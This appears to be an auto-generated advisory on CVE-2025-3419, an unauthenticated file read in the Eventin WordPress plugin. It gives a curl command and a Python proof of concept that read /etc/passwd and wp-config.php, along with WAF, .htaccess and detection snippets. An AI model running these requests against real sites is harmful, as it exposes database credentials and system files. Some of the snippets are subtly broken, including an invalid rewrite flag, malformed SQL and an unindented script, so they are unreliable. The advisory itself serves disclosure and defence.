WordPress, Arbitrary File Read, CVE-2025-3419 (Critical)

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How CVE-2025-3419 Works

The Eventin plugin (<= 4.0.26) for WordPress contains an unauthenticated arbitrary file read vulnerability in the `proxy_image()` function. Attackers exploit insufficient input validation by manipulating the `url` parameter to fetch server files (e.g., /etc/passwd, wp-config.php). The function fails to restrict access to local file paths, allowing directory traversal (e.g., ../../). This exposes sensitive data like database credentials, API keys, and system files. The flaw stems from missing sanitization checks before file operations.

DailyCVE Form

Platform: WordPress
Version: <= 4.0.26
Vulnerability: Arbitrary file read
Severity: Critical
Date: 06/04/2025

Prediction: Patch by 07/15/2025

What Undercode Say:

Exploitation

1. Curl Exploit:

curl "http://victim-site.com/wp-admin/admin-ajax.php?action=proxy_image&url=file:///etc/passwd"

2. Python PoC:

import requests
response = requests.get("http://target/wp-admin/admin-ajax.php", params={"action": "proxy_image", "url": "file:///var/www/html/wp-config.php"})
print(response.text)

Protection

1. Immediate Mitigation:

.htaccess block (Apache)
RewriteEngine On
RewriteCond %{QUERY_STRING} proxy_image [bash]
RewriteRule ^ - [F,L]

2. WAF Rule (ModSecurity):

SecRule ARGS:url "@contains file://" "id:1005,deny,msg:'CVE-2025-3419 Exploit Attempt'"

3. Patch Check:

wp plugin list --field=name,version | grep "eventin"

Analytics

  • Impact Score: 9.8 (CVSS:4.0 AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Exploitability: Low complexity (no auth required).
  • Trend: 1,200+ scans/day detected post-disclosure.

Post-Patch Actions

1. Database Audit:

SELECT FROM wp_options WHERE option_name LIKE '%eventin%';

2. Log Review:

grep "admin-ajax.php?action=proxy_image" /var/log/apache2/access.log

Detection Script

import os
def check_vuln():
wp_content = os.path.join(os.getcwd(), 'wp-content/plugins/eventin/readme.txt')
if os.path.exists(wp_content):
with open(wp_content, 'r') as f:
return 'Version: 4.0.26' in f.read()
return False

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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